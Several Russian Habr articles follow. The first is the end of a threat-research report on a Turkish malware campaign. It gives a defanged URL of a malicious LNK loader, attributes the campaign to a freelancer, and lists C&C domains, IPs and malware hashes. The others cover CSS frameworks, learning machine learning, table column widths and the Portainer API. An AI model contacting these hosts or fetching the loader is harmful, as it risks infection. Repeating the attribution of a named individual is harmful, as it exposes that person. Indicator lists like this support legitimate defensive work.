+ qqww.eu
* 192.95.3.140
+ bkorp.xyz
+ buhar.us
По следам хакера
----------------
Среди вредоносных и вспомогательных инструментов на сервере злоумышленника было найдено любопытное изображение:
*Рис. 18. Изображение в каталоге на хостинге злоумышленника*
Мы не уменьшали разрешение картинки, а разместили его здесь в таком виде, как оно было на хосте.
Несмотря на низкое качество изображения, нам удалось установить, что это скриншот страницы о совершенной транзакции с криптовалютой на ресурсе blockr.io. Это ничего не дало, поэтому мы попытались найти все связанное с именем IMG\_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg, с которым изображение хранилось у хакера. Следы привели к результату [обработки](https://www.hybrid-analysis.com/sample/9f1f04db605ba35a97c1a0554c1932f5848c9bb7a4cb915cde670b0bb26dc7b6?environmentId=100) на онлайн-анализаторе некоторого файла, имя которого совпадало с именем нашей картинки. Обработанный объект представляет собой Windows-ярлык, подобный тем, которые мы уже рассматривали ранее. К нему была прикреплена картинка с фотографией идентификационной карты турецкого гражданина, фамилия которого совпадает с фамилией, которая указывалась при регистрации домена, — Yaman.
*Рис. 19. Идентификационная карта с ярлыком-загрузчиком*
Обработка ярлыка в онлайн-песочнице происходила не вследствие загрузки файла пользователем, а путем передачи URL-адреса, с которого было необходимо загрузить и обработать объект:
`hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true`
Github-аккаунт пользователя уже заблокирован, однако по ссылке мы можем установить никнейм пользователя (btechim) и имя проекта (prntsrcn). Имя проекта совпадает с именем одного из доменов, обнаруженного в кампании (prntsrcn.com), а в прозвище пользователя содержится подстрока btech, фигурирующая в программном коде админских панелей, о которых шла речь выше.
Поиск по никнейму пользователя вывел нас на ресурс фрилансеров, на котором расположена [страничка](https://www.freelancer.com/u/btechim) пользователя из Турции — с таким же никнеймом, с подтвержденным номером телефона, почтовым адресом и профилем в Facebook, — предлагающего свои услуги по разработке ПО в области кибербезопасности.
*Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров*
Выводы
------
На протяжении нескольких месяцев специалисты Positive Technologies наблюдали за развитием вредоносной кампании турецкого происхождения и передали накопленные данные в CERT Турции. Далеко не часто в ходе одной серии атак сочетается использование современных техник и переработанных инструментов 10-летней давности. Злоумышленник применял самые разные инструменты (по назначению, по платформе, по уровню сложности) для получения полного контроля над целевым ПК. Стоит отметить вариативность подходов при подготовке сетевой инфраструктуры в попытках скрыть свою личность. Однако в очередной раз было учтено не все, самонадеянность и несколько упущений выдали преступника. Исследование было передано в центр реагирования на инциденты информационной безопасности Турции.
**IOCs**Office loaders:
3305720da73efbcb7d25edbb7eff5a1a
5b6d77f3e48e7723498ede5d5ba54f26
621a0133e28edec77a2d3e75115b8655
712e7ec49ad3b8c91b326b6d5ee8dcd8
731a3d72e3d36c2270c1d0711c73c301
929374b35a73c59fe97b336d0c414389
LNK loaders:
3bc5d95e2bd2d52a300da9f3036f5b3b
527069e966b4a854df35aef63f45986a
a4667e0b3bfaca0cda5c344f1475b8e0
Houdini JScript:
04c2ad67de2cea3f247cf50c5e12e969
5ab9176b9ed9f7a776ec82c412a89eab
84f0d098880747f417703f251a2e0d1c
94c6ba0d812b4daf214263fffc951a20
a52509a38846b55a524019f2f1a06ade
bf2fb6cdbc9fde99e186f01ad26f959f
c871091ce44594adbd6cf4388381e410
daf6a9eb55813d1a151695d33506179d
f010af1b330d00abb5149e9defdae6ee
ff924faeb9dfd7384c05abe855566fc9
Bcorp JAR
59978b5a9e4ab36da0f31a8f616cc9d3
a7219da3b0c0730c476fe340dbf7e4e5
ddac55213089da9ef407bce05ebe653e
Get-ChromeCreds
11769e9f49123a2af00bd74453221c07
1a81c9119d7761535c198ddb761979b8
42a85849a591e65b0254d9bcbdf59f82
8e49263f33c53ee5bc91bebbf9617352
c9ab090ad2badb9862fd5b6058428096
Start-KeyLogger
55daa84475a11ea656183e0ad5ccc608
aa82fbb6a341d71d2431b6d2ebca027c
WebBrowserPassView
7722e086cf7ed59955a1d6ec26f49cf3
NetWire RAT
1470a08bd427bb8738a254ba4f130ff5
5f8495016773c7834b1c588f0997a6c4
TCP Listen
913567da98185cad9f91a570dc298de1
Script loaders
02946d10c6a34fe74826f3c0b0a6a3e0
1ad644bdba488a6e42ad76aea2c0ee54
3a2dcf36b9206a135daa73c645a3f56f
4dddd87d3cb80145c9859fd76dfef794
74c5e5be9f79bd9e7ee84fd046c14e68
78f4d5fa6c68dae4b03860b54ec6cc67
Tiny PE loaders
0f3c56018a7051aebe060454fc981f5b
1b9cefc229daddc4557cea0e3bdf4656
29e6679107bd9c72aa061371082206bb
b66b7395825b9ed656b768d4e7fe1de7
fbc606b8b04e51ddb342e29b84ac1edb
xRAT
2e9a0637478938cc3e4519aa7b4219cc
7c67c93ba243be32e5fd6a6921ceded3
Bcorp panel vs. builder
405c987ba1a8568e2808da2b06bc9047
c3ac8b7a7c8c0d100e3c2af8ccd11441
Bcorp C&C
bcorp.fun
bkorp.xyz
buhar.us
definebilimi.com
husan.ddns.net
husan2.ddns.net
husan3.ddns.net
i36-imgur.com
i37-imgur.com
i38-imgur.com
i39-imgur.com
prntsrcn.com
qqww.eu
5.255.63.12
192.95.3.137
192.95.3.14
**Автор**: Алексей Вишняков, Positive Technologies | https://habr.com/ru/post/479998/ | null | ru | null |
# В который раз этот класс?
#### “А что это вы тут делаете?”
Сегодня в чате скайпа джентльмены вели задушевную беседу, размышляли о смысле жизни и, конечно же, говорили о погоде. В одном из сообщений этой душевной беседы проскочила [ссылка](http://demos.jquerymobile.com/1.4.2/) на мобильный фреймворк jquery. Немного походив по сайту фреймворка для общего развития, поискав что нибудь интересное, я наткнулся на такой вот [демо пример](http://demos.jquerymobile.com/1.4.2/toolbar/#Buttonsintoolbars):
```
[Cancel](#)
My App
======
Save
```
Этот пример создает кнопки Cancel и Save. Для поклонников фреймворков, например, популярного в последние пару лет Bootstrap, данный код выглядит нормально. Для меня же это выглядит адом и вот почему.
(картинка для привлечения внимания)
Много лет тому назад люди верстали таблицами, а стили для элементов часто оставляли в самих тегах, а не файлах стилей. И это является моветоном. Таблицы созданы для таблиц, а верстать рекомендуется блоками. Стили стоит выносить в файлы, как говорится: “мухи отдельно, котлеты отдельно”, т.е. верстка должна быть отдельно от дизайна. Об этом много уже писали и много холиварили на просторах необъятной сети. И вроде сейчас всё реже можно увидеть стили внутри тегов (внутри верстки). Но благодаря фреймворкам, особенно Bootstrap, мало того что все сайты стали на одно “лицо”, так и верстка опять возвращается в прошлый век.
#### Повторение — мать ученья
Попробую перефразировать и объяснить выше написанное про стили. Зачем надо было выносить стили их верстки? Это необходимо:
* чтобы стили можно было удобно применять многократно;
* чтобы при изменении дизайна/элемента не вмешиваться в верстку;
* чтобы код был семантический и чистый (выше два пункта входят в этот пункт) ;
* чтобы уменьшить HTML код/страницу (ну да, это смешной пункт в наше время);
* что-то ещё.
На помощь всему вышеописанному пришел CSS3 с его возможностями. Но об этом чуть позже.
А что делают фреймворки? Конечно основное — это упрощают жизнь. Но в остальном:
* стили вынесены в отдельный файл, но сколько этих стилей?!
* чтобы изменить макет, надо лезть не в стили, а верстку;
* код семантичный, но избыточный чаще всего;
* все сайты становятся однотипными (ну это беда фреймворков в целом)
* что-то ещё.
#### Дубль 3
И так, третий раз перефразирую, уже на примерах
Раньше мы писали так:
Сегодня так:
Обратите внимание, что я не все классы сохранил, а только часть.
Также, если вы будете разбирать CSS этой кнопки — вы увидите, что там много дублирующих и переназначающихся атрибутов.
Итак, всё, к чему стремились буквально пару лет, так сказать к этике и эстетике верстки, кануло в лету. Опять вернулись в прошлый век. И это стало меймстримом. На фриланс-биржах или биржах работы в 90% требуется Bootstrap и другие фреймворки. Чтобы сверстать макет, надо знать кучу названий классов и какой класс за что отвечает, вместо основ верстки. Теперь не надо знать как работает тот или иной атрибут и как сделать на Vanilla CSS какую нибудь фишку. И это напоминает какой-то DW (визуальный режим) или Artisteer… Ну да ладно, немного отвлекся.
Главное, я считаю, тут стало то, что если надо изменить верстку — надо править не CSS, а HTML. Я считаю это трагедией нашего времени. А ведь нам даны невиданные доселе возможности CSS3 в паре с HTML5 — это [CSS Grid Layout](http://www.w3.org/TR/css3-grid-layout/) ([на Хабре](http://habrahabr.ru/company/microsoft/blog/140715/)), [flexbox](http://www.w3.org/TR/css-flexbox-1/) ([на Хабре](http://habrahabr.ru/post/153925/)), замечательные селекторы (сестринский, дочерний, обобщенный (жаль нет ещё родительского(parent))) и много другого. Конечно не всё работает и не во всех браузерах, но на этот случай придуман Graceful Degradation.
#### WTF?
Разумный вопрос у тебя, уважаемый %username%, имеется: “что же я предлагаю, к чему веду?”
Сейчас, ещё один абзац, и перейду к ближе делу.
Если понаблюдать за дизайном в вебе, то можно увидеть некую шаблонность. Да не то чтоб увидеть, а многое является нормой. Обязательно шапка (header) и подвал (footer). В полиграфии их называют колонтитулами. Навигация. Есть один или два сайдбара. И, конечно же, контент. С приходом фреймворков, в частности Bootstrap’а от сайдбаров как таковых отказались, в том виде что они были. Теперь они не side, а top или footer bar'ы :-)
Я предлагаю в первую очередь поразмышлять над идеей, наверняка не новой. Над новым видом фреймворков, когда верстка остается неизменной, а меняются только стили, которые должны быть универсальными. Некое подобие reset.css и normalize.css, только для других целей.
Чтобы было понятно — покажу на примере:
90% каркасов сайтов выглядит примерно так на HTML5
```
…
Название/лого
Навигация
Контент
Сайдбар
Подвал
...
```
Особенно хотелось бы заметить, что HTML5 подарил нам эти замечательные теги. Теперь не надо писать **class=”header”**.
И теперь мы можем обратиться к любому элементу без классов и id (id вообще оставим как и положено для JS). Простой CSS для наглядности:
```
body > header, body > footer {
width: 100%;
text-align: center;
background-color: #efe;
}
body > nav {
width: 80%;
margin: 0 auto;
text-align: center;
}
body > article {
float:left;
width: 60%;
background-color: #eef;
}
body > aside {
float: right;
width: 40%;
background-color: #fee;
}
```
Тоже самое [на jsfiddle](http://jsfiddle.net/BaNru/u7kHC/)
Если надо добавить ещё сайдбар, то можно применить псевдокласс типа :nth-child или его “братиков”. Учитывая, что элемент может быть, а может и не быть. Кнопки и инпуты, например, можно оформлять через атрибуты **input[type=”button”]**.
Таким образом, сверстав один раз страницу и натянув её на движок — мы можем менять только шкурки. При чем они должны получаться универсальными для всех движков и статических сайтов. Ну или с минимальными изменениями. И разве не к этому стремился изначально CSS и стремятся нововведения CSS3?
Конечно полностью от классов отказаться не удастся. Но я в этом направление работал и верстал макеты с минимум классов.
Какие я вижу преимущества?
Это перечисленные в начале пункты:
— при изменении дизайна/элемента не надо вмешиваться в верстку;
— код семантический, чистый и минималистичный;
А так же, весьма весомые:
— шаблоны можно клепать сразу под сотни сгенерированых CMS
— надоел шаблон? Заменил стили. Надоела CMS? Поставил другую и старые стили.
— ещё что-то.
Минусы:
— избыточный CSS, как во всех фреймворках;
— кроссбраузерности не будет, хотя для неё есть Graceful Degradation
— ещё что-то.
Всем и вся не угодишь конечно, но ведь имеющиеся решения не всем подходят.
В плане разработки и поддержки подобного чуда ничего нового в голову не пришло. Те же модульность и компиляция, как у всех фреймворков. Т.е. типа [такого](http://jqueryui.com/download/) и [такого](http://csstemplater.com/) вместе взятые. Только, повторюсь, на одном HTML каркасе.
PS **Уверен, что идея не новая** и её кто-то уже высказывал. Сам я над данной темой задумываюсь уже давно, но пока ~~на горизонте таких же дураков~~ единомышленников не замечал. Поэтому буду благодарен любым материалам на эту тему.
PSS Да будет холивар: “Аффтар ты жжошь и не понимаешь ~~ни чего в колбасных обрезках~~ в фреймворках и моём любимом Bootstrap”.
#### UPDATE
Ещё раз попробую сказать, а то в комментариях многие смотрят в другую сторону
Я предлагаю **поразмышлять** на тему, почему бы не создать универсальный модульный HTML каркас, для которого уже и писать свои многочисленные шаблоны на чистом CSS.
Возьмем для примера любую CMS. Создаем универсальную тему UniTheme (верстку).
И потом для неё уже верстальщики просто делают свои CSS. Разумеется за основу беря какую сгенерированую макетную сетку.
Если в админке, допустим, включаем или отключаем сайдбар/виджеты — это ни как не влияет на верстку. Разумеется, что если на странице появиться какой-то элемент, для которого нет стилей — придется поработать руками, как в общем и в любом фреймворке.
Любителям Bootstrap также можно предоставить готовые UI элементы в каком то стиле.
Но опять же — они будут уже готовы к использованию без вмешательства в верстку.
И повторю — разумеется от полного отказа от классов я не предлагаю, а предлагаю минимизировать их использование.
#### UPDATE 2
Спасибо [alekciy](http://habrahabr.ru/users/alekciy/) за [ссылки](#comment_7537727) на уже реализованный пример того, о чем я размышлял в статье: [CSS Zen Garden](http://www.csszengarden.com/tr/ru/001//) и [демо](http://www.mezzoblue.com/zengarden/alldesigns/) | https://habr.com/ru/post/221063/ | null | ru | null |
# Не надо учить Machine Learning
#### Учитесь создавать софт, используя модели машинного обучения
*Дисклеймер: статья основана исключительно на моих наблюдениях за командами разработчиков в области машинного обучения и не является результатом научного обзора отрасли. Для справки, я помогаю разрабатывать [Cortex](https://github.com/cortexlabs/cortex) — платформу с открытым исходным кодом для запуска моделей в производство.*
Если вы разработчик, то, мимолетный интерес к машинному обучению у вас как минимум есть. Концепция алгоритма, которые учатся, чтобы потом делать прогнозы, это ведь просто… круто.
Однако, если вы решили начать изучать ML следуя всем канонам, то велика вероятность, что после двух недель линейной алгебры и многомерного анализа, вы бросите это занятие.
Причина кроется в том, что большинство вводных материалов по ML ориентированы не на разработчиков, а на исследователей — что и является проблемой для разработчиков, которые просто хотят создавать продукты с машинным обучением.
### Вы хотите создавать продукты или проводить исследования?
До конца 2000-х годов машинное обучение было практически только исследовательской проблемой. Просто было не так много компаний, которые бы реально использовали машинное обучение в производстве.
Таким образом, многие ознакомительные материалы, доступные по машинному обучению, основаны на исследовательском подходе. Все начинается с объяснения нейронных сетей с математической точки зрения, и теории, лежащей в основе машинного обучения. Приводятся такие вещи, как например метод обратного распространения ошибки и состязательные сети.
Даже не связанные с университетом материалы в какой-то степени следуют этой схеме. Например, это взято непосредственно из библиотеки TensorFlow’s “Quickstart for Beginners”:
Если вам кажется, что я действую избирательно, [предлагаю прочитать следующее](https://www.tensorflow.org/tutorials/quickstart/beginner).
Если вы уже знакомы с математикой, лежащей в основе машинного обучения, или вы вам нравится ее изучать, такой подход вам подойдет. Однако если вы в первую очередь заинтересованы в том, чтобы создавать вещи с машинным обучением, то скорее всего это не совсем то, что вы ищете.
Использовать программирование как дополнение к математике, тоже самое, что учиться писать код, выучив сначала ассамблер. Ни один разработчик так учиться не станет.
*Примечание: Если каким-то образом вы научились кодить на ассамблере, я допускаю все злые комментарии в свою сторону, и впечатлен тем, что вы нашли браузер, на вашем невнятном Linux дистрибутиве.*
Когда вы научились кодить, вы, скорее всего, сделали это, написав “hello world” на языке высокого уровня. Затем, по мере усложнения проектов, вы начали изучать низкоуровневое программирование.
Эта модель обучения успешна среди людей, которые создают программное обеспечение, потому что она четко расставляет приоритеты при работе над проектом. Если вы больше заинтересованы в создании рекомендательной системы, нежели в публикации статьи, то именно так вы должны подходить к изучению машинного обучения.
### Как изучить ML, создавая софт
Если вы относитесь к тому типу людей, которые лучше всего учатся, проходя курсы, то лучшим ресурсом, пропагандирующим этот нисходящий, учись-в-процессе подход к работе с ML, будет курс на портале fast.ai [Practical Deep Learning For Coders](https://course.fast.ai/).
Цель статьи вовсе не в том, чтобы прорекламировать fast.ai, но стоит отметить, что основатели платформы (Джереми Говард и Рэйчел Томас) собрали несколько курсов для разработчиков с глубоким обучением, которые буквально заставляют создавать вещи, углубляясь в основную теорию, поскольку она непосредственно связана с проектом. Чтобы лучше понять их стиль обучения, посмотрите видео с Рэйчел Томас.
С другой стороны, если вы относитесь к тому типу людей, которые лучше всего учатся, погружаясь и создавая вещи самостоятельно, то начать освоение машинного обучения можно точно также, как и в любой другой сфере программирования. Просто выберете проект, который вам интересен — [я собрал гигантский список проектов по обработке естественного языка для новичков](https://towardsdatascience.com/a-list-of-beginner-friendly-nlp-projects-using-pre-trained-models-dc4768b4bec0) — выбирайте.
Чтобы лучше понять, что такое создание софта с ML (если вы идете этим путем):
1. Определите цель, например, создать автозаполнение для текстового поля или идентификатор номерного знака.
2. Найдите предварительно подготовленную модель, подходящую для вашего проекта — модели GPT-2 или YOLOv3 будут также работать с ранее упомянутыми проектами.
3. Если хотите, вы даже можете использовать библиотеку как gpt-2-simple для точной настройки (настроить под ваши собственные данные) вашей модели.
4. Наконец, разверните модель как микросервис.
После того как модель развернута в виде API, вы можете запросить ее, как и любую другую веб-службу, и построить вокруг нее свое приложение.
Вы можете посмотреть реальное применение [этого процесса в проекте](https://towardsdatascience.com/i-built-a-diy-license-plate-reader-with-a-raspberry-pi-and-machine-learning-7e428d3c7401), созданном сольным инженером, занимающимся машинным обучением.
Благодаря такому методу изучения вы можете познакомиться с различными популярными архитектурами моделей, узнать о других подходах к машинному обучению, и для каких приложений они предназначены. Не менее важно и то, что вы узнаете об инфраструктуре машинного обучения, которая необходима для построения реальных продуктов на основе моделей.
### Как только вы сможете создавать продукты, основанные на ML, приступайте изучать теорию
Будучи инженером, вы, вероятно, уже внедрили какую-нибудь форму аутентификации ранее, что означает, что вы (я надеюсь) хэшировали пароли.
При настройке хеширования пароля вы написали пользовательский алгоритм хеширования? Вы потратили несколько недель на изучение криптографии? Или вы просто использовали `bcrypt`?
Аналогично, при создании первого веб-приложения вы несколько недель изучали базы данных? Вы сами написали с нуля? Или вы использовали случайный ОРМ вашего любимого фреймворка?
Эта же логика применима и к машинному обучению. Если вы человек, который любит создавать программное обеспечение, начните с создания софта с машинным обучением, и позвольте себе с помощью инструментов, предварительно подготовленных моделей и фреймворках машинного обучения абстрагироваться от лежащей в основе теории ML. Затем, если вам интересно или если ваш проект требует большей сложности, копните глубже, чтобы увидеть, как все это работает.
---
Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:
* [Курс по Machine Learning (12 недель)](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=ML&utm_term=regular&utm_content=01062000)
* [Курс «Профессия Data Scientist» (24 месяца)](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DSPR&utm_term=regular&utm_content=01062000)
* [Курс «Профессия Data Analyst» (18 месяцев)](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DAPR&utm_term=regular&utm_content=01062000)
* [Курс «Python для веб-разработки» (9 месяцев)](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=PWS&utm_term=regular&utm_content=01062000)
### Читать еще
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Бесплатные курсы по Data Science от Harvard University](https://habr.com/ru/company/skillfactory/blog/503730/)
* [30 лайфхаков чтобы пройти онлайн-курс до конца](https://habr.com/ru/company/skillfactory/blog/503212/)
* [Самый успешный и самый скандальный Data Science проект: Cambridge Analytica](https://habr.com/ru/company/skillfactory/blog/503504/) | https://habr.com/ru/post/504756/ | null | ru | null |
# Автоматический расчет ширины столбцов
#### Задача
Задача звучит просто – напечатать таблицу. Напечатать так, чтобы она выглядела красиво и, по возможности, не расползалась.
После некоторых раздумий, решено было воспользоваться [FOP](http://ru.wikipedia.org/wiki/Formatting_Objects_Processor) для генерации PDF. Загвоздка в том, что [Apache FOP](http://xmlgraphics.apache.org/fop/) не поддерживает `table-layout:auto`, то есть при построении таблицы необходимо вручную задать ширину столбцов (хорошо еще, что можно задать относительную ширину в процентах). Если же сделать все столбцы одинаковой ширины, таблица будет выглядеть несколько неэлегантно. Выходит, рассчитывать ширину придется вручную.
*Основная идея в том, что ширину столбцов необходимо подобрать таким образом, чтобы как можно сильнее сократить число переносов строк внутри ячеек таблицы.*
#### Решение
Я решал задачу на С++ с использованием фреймворка Qt, поэтому некоторые отсылки к языку и Qt определенно будут, но в общем-то, я постараюсь избежать кода и описать основную идею решения.
##### Подготовка данных
Во-первых, определимся, какие данные потребуются. Текст в каждой ячейке таблицы разобьем на слова, для каждого слова вычислим, сколько места на бумаге оно занимает. Таким образом, для каждой ячейки будем хранить массив длин слов ее текста.
Кроме того, необходимо знать ширину бумаги, причем выраженную в тех же единицах, что и длина слов.
Я использовал [QFontMetrics::width](http://doc.qt.digia.com/qt/qfontmetrics.html#width) для определения длины слов. Таким образом, длина слов получалась в пикселах. Тогда для того, чтобы определить ширину бумаги в пикселах, достаточно перемножить ее ширину в дюймах на DPI экрана, которое можно получить, воспользовавшись функцией [QPaintDevice::logicalDpiX](http://doc.qt.digia.com/qt/qpaintdevice.html#logicalDpiX).
Может оказаться, что ширина бумаги недостаточна для того, чтобы вместить таблицу, даже если сжать столбцы настолько, что в каждой строке будет умещаться всего по одному слову.
Вероятность такого варианта развития событий мала (если Вы не немец и не тестировщик, конечно), поэтому я не стал разрабатывать сколько-нибудь сложный алгоритм обработки такого рода случаев. Просто проверим, что минимальная ширина таблицы, которая определяется как сумма максимальных длин слов в столбцах, меньше размера бумаги.
| | |
| --- | --- |
| минимальная
ширина
таблицы | определяется
суммой
длин
самых
длинных
слов
в столбцах |
Если таблица не влезает, придется обрезать длинные слова. Поскольку, раз уж слово решили обрезать, то обрезать его можно в любом месте, будем считать эффективную длину таких обрезанных слов равной нулю.
*Итак, будем обрезать самое длинное слово в таблице до тех пор, пока таблица не станет вмещаться на бумагу.*
На этом подготовку данных можно считать законченной, и можно перейти к алгоритму расчета ширины столбцов.
##### Расчет
В начале статьи я определил основную идею решения. Теперь настало время выразить ее более формально. Фактически, необходимо отобразить таблицу на бумаге таким образом, чтобы как можно сильнее сократить площадь таблицы.
Площадь, занимаемую таблицей, можно определить как сумму площадей ее столбцов:
Здесь  и  – высота и ширина столбца соответственно.
Конечно, это не совсем верно, но такая модель на практике дает вполне удовлетворительный результат.
Распишем, чему равна высота столбца:
lh + p)} = A + lh \sum_{i=1}^{m}{wc},)
где *m* – число строк таблицы, *lh* – высота строки текста, *p* – некоторый коэффициент, описывающий высоту отступов, *wc* – число переносов строк.
Поскольку на число строк, высоту строки и отступы влиять невозможно, то их можно вынести в отдельный коэффициент *A*.
А вот количество переносов строк напрямую зависит от ширины столбца. Таким образом, высоту столбца можно переписать в виде:
.)
А задача сводится к минимизации функции
Да-да, я не ошибся, *А* и *B* не будут зависеть от *k*, поскольку *B* определяется высотой строки, а *A*, в добавок, размерами отступов и числом строк.
*S* можно переписать в виде:
Сейчас я сделаю большую грубость.  – *это идеальная площадь таблицы, когда переносов вообще нет*. Но поскольку нас не интересует оптимизация по ширине таблицы, (в итоге все равно растянем таблицу на всю страницу), то заменим , то есть на постоянную. Теперь все просто: для задачи минимизации коэффициенты *G* и *B* никакой роли не играют, поэтому их можно благополучно выкинуть и находить минимум функции
Для нахождения минимума функции возьмем за основу метод [градиентного спуска](http://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D1%8B%D0%B9_%D1%81%D0%BF%D1%83%D1%81%D0%BA), но будем спускаться не в направлении градиента, а *по той координате, изменение функции* (частная производная, помноженная на изменение координаты) *по которой имеет наименьшее* (оно же наибольшее по модулю) *значение*.
##### Вы сказали производная?
На самом деле, функция числа переносов в зависимости от ширины столба не отличается особой гладкостью. Это ступенчатая функция, которая терпит разрывы в точках изменения числа переносов. Выглядит это как-то так:
У такой функции явные проблемы с производными, но мы поступим просто: будем рассматривать не саму функцию, а некоторую монотонно-убывающую функцию, которая в точках изменения числа переносов совпадает с правым пределом изначальной функции.
В качестве начальной точки возьмем точку с наименьшими возможными ширинами столбцов.
##### Алгоритм
Для каждого столбца:
* Построим массивы точек, в которых число переносов в данном столбце изменяется – *mk*.
* Массивы значений гладкой функции числа переносов в этих точках (гладкую функцию я определил в предыдущем пункте) – *wck*.
Для того, чтобы сформировать эти массивы, используем подготовленные на первом этапе данные о длине слов в каждой ячейке таблицы.
Дополним массивы (их получилось столько же, сколько и столбцов) начальными точками.
В итоге, для столбца
| |
| --- |
| минимальная
ширина
таблицы |
получим следующую структуру данных:
| | |
| --- | --- |
| **m0** | **wc0** |
| 11 | 2 |
| 13 («ширина» и «таблицы» — на одной строке) | 1 |
| 24 | 0 |
Аналогичные структуры получим и для остальных столбцов.
Теперь запустим итерационный процесс:
Пока сумма ширин столбцов меньше чем ширина страницы:
* Вычислим изменение функции площади (*U*) при движении по каждой координате по формуле
(Это хорошо всем известная формула взятия дифференциала произведения: *d*(AB) = B *d*A + A *d*B)
* Если в каком-то массиве остался всего один элемент, значит в данном столбце уже нет переносов строк (*wck[0] == 0*). Такой столбец мы не берем в рассмотрение.
* Если ни один массив не попал в рассмотрение, во всех столбцах уже отсутствуют переносы строк, заканчиваем вычисления.
* Увеличиваем ширину *k*-го столбца, в котором величина *dk* — наибольшая. Удаляем первые элементы массивов *wck* и *mk* для этого столбца.
В заключение, пересчитаем полученные ширины столбцов из абсолютных единиц в проценты. Тем самым, отвяжемся от той метрики шрифта, которую использовали.
#### Итог
В итоге таблица получается именно такой, какой бы я ее сделал при ручном форматировании.
**P.S.**
Статья не претендует на математическую строгость, зато показывает, где вам может пригодиться немного математики в прикладном программировании. | https://habr.com/ru/post/167507/ | null | ru | null |
# Docker API + Portainer API = profit
Всем доброго времени суток! В этой статье хотел бы кратко в режиме смузи осветить возможности [Portainer](https://www.portainer.io/) API и применение в разворачивании проектов.
Рассмотрим несколько задач:
* Управление. Иметь возможность отображать работу всех контейнеров на определенном узле, управлять и отслеживать состояние, читать логи и контролировать ресурсы.
* Разворачивание. Минимизировать участие пользователя и создать благоприятные условия для автоматизированного разворачивания на новом месте.
* Интеграция с gitlab-ci. Упростить процесс разработки.
#### Управление
Обладая опытом работы с Docker, переход на docker-swarm привлек относительной простотой и скоростью освоения в сравнении с Kubernetes. Для одного менеджер узла (leader node) и нескольких worker-ов предстояло решить, как отобразить в одном окне статус запуска, количество работ, статистику использования памяти и health-чеки. В первую очередь необходимо готовое решение с графическим интерфейсом исходя из потребностей задачи.
Можно найти много статей по сравниванию между собой GUI-интерфейсов для управления Docker-ом. Приведу несколько примеров: [тут](https://habr.com/ru/company/flant/blog/338332/) и [тут](https://habr.com/ru/company/dockstation/blog/341886/). Необходимые требования для решения задачи были найдены в Portainer.
**Положительные моменты**:
* простота разворачивания
* авторизация из коробки
* API
* возможность добавления собственного registry
* возможность подключения к консоли контейнера
* чтение логов
* отслеживание характеристик использованой памяти и сети контейнеров.
Portainer состоит из двух элементов: **Portainer Server** и **Portainer Agent**. Оба элемента работают как контейнеры Docker — достаточно задеплоить. Вообще работа Portainer основывается на размещении своих агентов на всех нодах, осуществляя общение через http-запросы. Из документации становится ясно, что Portainer Agent — это обходной путь для ограничений API Docker для управления его средой, так как из коробки взаимодействие с containers, networks, volumes, images ограничено текущим узлом, к которому нацелен запрос Docker API. Решение этому есть, например, открыть порт на каждом узле , а потом защитить сертификатами, наладить схему общения и т.д. Одним словом — не удобно, но вариант. Задача же агента — предоставить возможность общения кластерно-ориентированным ресурсам ранее определенного узла. Достаточно выполнить только один запрос API Docker, чтобы получить все эти ресурсы из каждого узла в кластере.
В целом, улучшается user-experience при управлении кластерами Swarm. Немного больше и со скриншотами можно посмотреть [тут](https://cloud.croc.ru/blog/byt-v-teme/upravlenie-docker-web-ui/) или [тут](https://logz.io/blog/logging-docker-portainer/).
#### Разворачивание
(Ссылку на скрипты и стеки оставлю внизу).
Можно привести пару примеров, чтобы убедиться в удобстве разворачивания. Рассмотрим задачу по загрузке и выгрузке стеков в Docker. Тут необходимо заметить, что возможно использовать стандартный метод Docker API командой:
```
docker stack deploy -c "имя файла стека"
```
В таком случаем стек загрузится, но в Portainer будет заблокированным для редактирования, что опять же не соответствует потребностям задачи. Тогда на выручку приходит Portainer API с возможностью загрузки стеков. Для удобства рекомендую установить пакеты httpie и jq на manager unix-машину либо использовать классический curl. Передаем скрипту логин и пароль для входа в Portainer и запускаем командой:
```
sh script.sh Username Password
```
Для начала получаем ключ авторизации:
```
key=$(http POST 127.0.0.1:9000/api/auth Username="$1" Password="$2" | jq -r '.jwt')
```
Получаем swarm\_id (адрес, куда полетят стеки):
```
swarm_id=$(http GET 127.0.0.1:9000/api/endpoints/1/docker/swarm "Authorization: Bearer $key" | jq -c '.ID')
```
Дальше запускаем процесс загрузки, попутно получаем некоторую второстепенную информацию:
```
for file in stacks/*
do
dir=$(readlink -f "$file")
filename=$(basename "$file" .yml)
curl -X POST "http://127.0.0.1:9000/api/stacks?method=file&type=1&endpointId=1" -H "Content-Type: multipart/form-data" -H "Accept: application/json" -H "Authorization: Bearer $key" -F "Name=$filename" -F "SwarmID=$swarm_id" -F "file=@$dir"
```
После этого в Portainer отобразится доступный для редактирования стек. Справедлива и обратная ситуация, когда пользователь вносит изменения в стек через Portainer. Для того чтобы получить эти изменения, необходимо выгрузить и сохранить стек в yml-файле в директорию с другими стеками. Как это можно сделать:
Получаем ключ:
```
key=$(http POST 127.0.0.1:9000/api/auth Username="$2" Password="$3" | jq -r '.jwt')
```
Пробегаем по всем стекам и получаем имена и id, сохраняем:
```
for var in $(http GET 127.0.0.1:9000/api/stacks "Authorization: Bearer $key" | jq -c '.[]?')
do
name=$(echo $var | jq -r '.Name')
id=$(echo $var | jq -r '.Id')
http GET 127.0.0.1:9000/api/stacks/$id/file "Authorization: Bearer $key" | jq -r '.StackFileContent' > $name.yml
done
```
Каждый может найти свое применение инструменту Portainer API.
#### Тестирование
Для примера использовался gitlab-runner. Рассмотрим следующий вариант применения gitlab-ci: в скрипт service.sh закладываем выполнение вышеизложенных ситуаций и запускаем.
```
stages:
- staging
stage-short:
stage: staging
image: [SOME_STAGE]
only:
changes:
- [SOME_PROJECT]/*
refs:
